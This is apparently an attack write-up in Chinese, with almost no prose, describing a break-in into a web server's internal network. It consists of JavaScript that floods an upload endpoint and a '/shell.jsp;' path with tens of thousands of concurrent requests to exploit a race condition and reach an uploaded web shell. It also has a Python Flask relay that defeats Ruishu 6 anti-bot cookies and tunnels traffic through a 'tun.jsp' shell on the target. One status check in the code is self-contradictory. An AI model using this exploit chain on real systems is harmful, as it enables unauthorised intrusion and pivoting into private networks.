从条件竞争到绕过瑞数6反爬构造正向代理进入内网

fileInput = document.getElementById('fileInput');file = fileInput.files[0];
function makeRequest(url) {  return new Promise((resolve, reject) => {    const xhr = new XMLHttpRequest();      var fd = new FormData();
fd.append("fileField",file);    xhr.open('POST', url, true);    xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=---');

    xhr.onload = function() {      if (xhr.status >= 200 && xhr.status < 300) {        resolve(xhr.responseText);      } else {        reject(new Error(`HTTP request failed with status ${xhr.status}`));      }    };
    xhr.onerror = function() {      reject(new Error('Network error'));    };
    xhr.send(fd);  });}
 url = '/uploadExample';concurrency = 10000; // 设置并发请求数
// 创建一组请求requests = Array.from({ length: concurrency }, () => makeRequest(url));
// 使用Promise.all等待所有请求完成Promise.all(requests)  .then(responses => {    console.log('All requests completed successfully:', responses);  })  .catch(error => {    console.error('One or more requests failed:', error);  });

function makeRequest(url) {  return new Promise((resolve, reject) => {    const xhr = new XMLHttpRequest();
    xhr.open('GET', url, true);
    xhr.onload = function() {      if (xhr.status == 200 && xhr.status == 500) {        resolve(xhr.responseText);      } else {        //reject(new Error(`HTTP request failed with status ${xhr.status}`));      }    };
    xhr.onerror = function() {      //reject(new Error('Network error'));    };
    xhr.send();  });}
url = '/shell.jsp;';concurrency = 20000; // 设置并发请求数
// 创建一组请求requests = Array.from({ length: concurrency }, () => makeRequest(url));
// 使用Promise.all等待所有请求完成Promise.all(requests)  .then(responses => {    console.log('All requests completed successfully:', responses);  })  .catch(error => {    console.error('One or more requests failed:', error);  });

    xhr.setRequestHeader('Content-Type', 'multipart/form-data; boundary=---');

#!/usr/bin/env python3# -*- coding: utf-8 -*-import serverimport urllibfrom flask import Flaskfrom flask import requestfrom flask import Responseimport requestsfrom http.cookiejar import CookieJarimport rs6
# from requests.packages.urllib3.exceptions import InsecureRequestWarning# requests.packages.urllib3.disable_warnings(InsecureRequestWarning)requests.packages.urllib3.disable_warnings()#requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += 'HIGH:!DH:!aNULL'proxies={    'http':'http://127.0.0.1:8888',    'https':'http://127.0.0.1:8888',}
app = Flask(__name__)
url = 'https://xxxxxx:8888/upload/tun.jsp;'
def getRsCookie(url):    tempCookie=rs6.getCookie(url)    return tempCookie

@app.route('/<path>',methods=['GET','POST'])def index(path):    while(True):        cookie=getRsCookie(url)        cookieArr = cookie.split(';')        cookies = {}        for cookie in cookieArr:            keyValue = cookie.split('=')            cookies[keyValue[0]] = keyValue[1]        if request.method == 'GET':            # try:
                res = requests.get(url, verify=False,cookies=cookies,proxies=proxies)                if res.status_code!=200:                    continue                resp = server.Response(res.text)                return resp        elif request.method == 'POST':            data = request.get_data()            headers = {'Content-Type': 'application/octet-stream'}            res = requests.post(url, headers=headers, data=data,cookies=cookies,verify=False, proxies=proxies)            if res.status_code!=200:                continue            resp = server.Response(res.text)            return resp
if __name__ == "__main__":    app.run(host='0.0.0.0', port=8811)